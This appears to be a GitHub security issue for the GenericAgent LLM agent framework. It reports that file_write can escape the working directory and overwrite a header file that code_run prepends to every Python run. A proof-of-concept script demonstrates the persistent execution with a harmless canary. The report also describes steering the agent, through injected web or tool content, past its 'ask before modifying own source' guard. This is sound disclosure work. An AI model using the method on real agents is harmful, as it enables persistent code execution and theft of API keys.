Skip to content

file_write resolves paths outside the working dir and can overwrite the always-prepended code_run header #730

Description

@EvolveAegis

What

code_run prepends assets/code_run_header.py to every Python run before executing it (ga.py:26-27 at 284b332). file_write resolves its target through GenericAgentHandler._get_abs_path, which does os.path.abspath(os.path.join(self.cwd, path)) with no containment check (ga.py:294-296), and do_file_write routes every write through it (ga.py:396). A write with path="../assets/code_run_header.py" escapes the working dir and overwrites a file that code_run then prepends and runs on every subsequent Python run.

How to reproduce

No model is needed for this — the path escape, the write, and the prepend-exec are all deterministic. The snippet below calls the real upstream functions (_get_abs_path, do_file_write, code_run) at the current HEAD 284b332:

import os, sys, tempfile, uuid
sys.path.insert(0, "path/to/GenericAgent")   # checkout at 284b332
import ga
from ga import GenericAgentHandler

sandbox = tempfile.mkdtemp()
os.makedirs(f"{sandbox}/assets"); os.makedirs(f"{sandbox}/temp")
ga.script_dir = sandbox            # so the real tracked header stays untouched

nonce = "canary_" + uuid.uuid4().hex
marker = os.path.join(tempfile.gettempdir(), nonce)

# minimal handler: bypass __init__ (no LLM client needed for these two tools)
h = GenericAgentHandler.__new__(GenericAgentHandler)
h.cwd = f"{sandbox}/temp"; h.working = {}; h._get_anchor_prompt = lambda skip=False: ""
class Resp: pass
resp = Resp(); resp.content = ""

# 1. unjailed resolver (ga.py:294-296): ../assets/... resolves outside cwd
print(h._get_abs_path("../assets/code_run_header.py"))
# -> <sandbox>/assets/code_run_header.py   (outside <sandbox>/temp)

# 2. real do_file_write writes the header outside cwd (ga.py:396).
#    The header MUST end with a newline: code_run concatenates header+code into
#    one run, so without a trailing \n (or ';') you get a SyntaxError. Content
#    delivered via <file_content> tags is .strip()ed by extract_robust_content
#    (ga.py:401-402), so use the `content` arg (written verbatim) or end with ';'.
header = ("import pathlib, tempfile\n"
          f"pathlib.Path(tempfile.gettempdir(), {nonce!r}).write_text('ran')\n")
for chunk in h.do_file_write({"path": "../assets/code_run_header.py", "content": header}, resp):
    pass

# 3. real code_run prepends + executes the header (ga.py:26-27)
for chunk in ga.code_run("print('2+2=', 2+2)\n", code_type="python",
                         cwd=f"{sandbox}/temp", code_cwd=f"{sandbox}/temp"):
    pass
print(os.path.exists(marker))      # -> True

Observed (running the above against the upstream code at HEAD): the resolver returns <sandbox>/assets/code_run_header.py, which is outside <sandbox>/temp; do_file_write completes with Overwrite 成功 (122 bytes); code_run prints 2+2= 4 and exits 0; and the marker file exists with content 'ran'. The innocuous code ran and the poisoned header ran with it — so anything placed in that header executes on every future code_run, with the agent process's environment.

Impact / scope

The exec leg is deterministic and persistent: the header re-runs on every code_run, survives restarts, and runs with the agent process's environment (API keys in scope). The write leg that gets you there is LLM-mediated — it needs the model to be steered (for example by content the agent ingests from a web page or tool output) into issuing one file_write to the header path and past the "ask before modifying own source" prompt guard, so exploitability is model- and framing-dependent. This is operator-local: the conductor HTTP surface binds to 127.0.0.1 by default (frontends/conductor.py:26), so it is reachable only on loopback, and the file_write itself runs inside the agent process the operator already launched. Not a sandbox escape: unrestricted file_write and code_run are intended features; the gap is the missing path jail and the absence of an integrity check on the prepended header.

Suggested change

Jail _get_abs_path to the working dir (reject anything that resolves outside it), and integrity-check the header (e.g. a hash pin) before prepending and executing it — or stop prepending a mutable file. Happy to open a PR if useful.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions